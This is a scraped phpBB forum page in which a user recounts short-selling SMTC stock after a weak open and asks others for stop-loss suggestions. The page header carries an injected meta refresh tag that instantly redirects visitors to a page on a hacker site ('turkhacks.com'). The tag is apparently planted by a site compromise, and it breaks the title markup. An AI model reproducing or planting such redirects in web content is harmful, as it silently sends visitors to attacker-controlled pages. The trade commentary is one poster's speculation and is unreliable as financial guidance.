Forum Index" /> <meta http-equiv="refresh" content="0;URL=http://www.turkhacks.com/dosya/heyk.html"> :: View topic - SMTC (short)
<meta http-equiv= Forum Index" vspace="1" />
Revolutionizing Investor Psychology
 
 FAQFAQ   SearchSearch   MemberlistMemberlist   UsergroupsUsergroups   RegisterRegister 
 ProfileProfile   Log in to check your private messagesLog in to check your private messages   Log inLog in 

SMTC (short)

 
Post new topic   Reply to topic     Forum Index -> Stephen W. Bigalow's Candlestick Trading
View previous topic :: View next topic  
Author Message
Scooter



Joined: 02 Jul 2006
Posts: 98

PostPosted: Sat Sep 02, 2006 12:22 am    Post subject: SMTC (short) Reply with quote

I heard about this short prospect last night on Steve's chat so I had it on my watch list this morning. I didn't figure there would be any shorting possibilities with the market going gangbusters today, but after I closed my NFLX position I noticed that SMTC was showing definite further weakness out of the gates. So I watched it for a while and then picked a spot and sold short. I got in at $13.00, and it finished the day at $12.65. I think it has plenty of room to the downside yet. The company is presently under SEC investigation, AND they recently lowered their y/e guidance. To top it off, their analyst downgraded their target price from $20 to $11.

I am a little leery holding a short position in an overall uptrend, but you can't argue with the candles! Plus, I think the Nasdaq is due for a pullback soon anyway, so I'll just let this ride for the moment and see what happens. Any ideas for a stoploss?

Scooter
Back to top
View user's profile Send private message
Display posts from previous:   
Post new topic   Reply to topic     Forum Index -> Stephen W. Bigalow's Candlestick Trading All times are GMT - 5 Hours
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum


Powered by phpBB © 2001, 2005 phpBB Group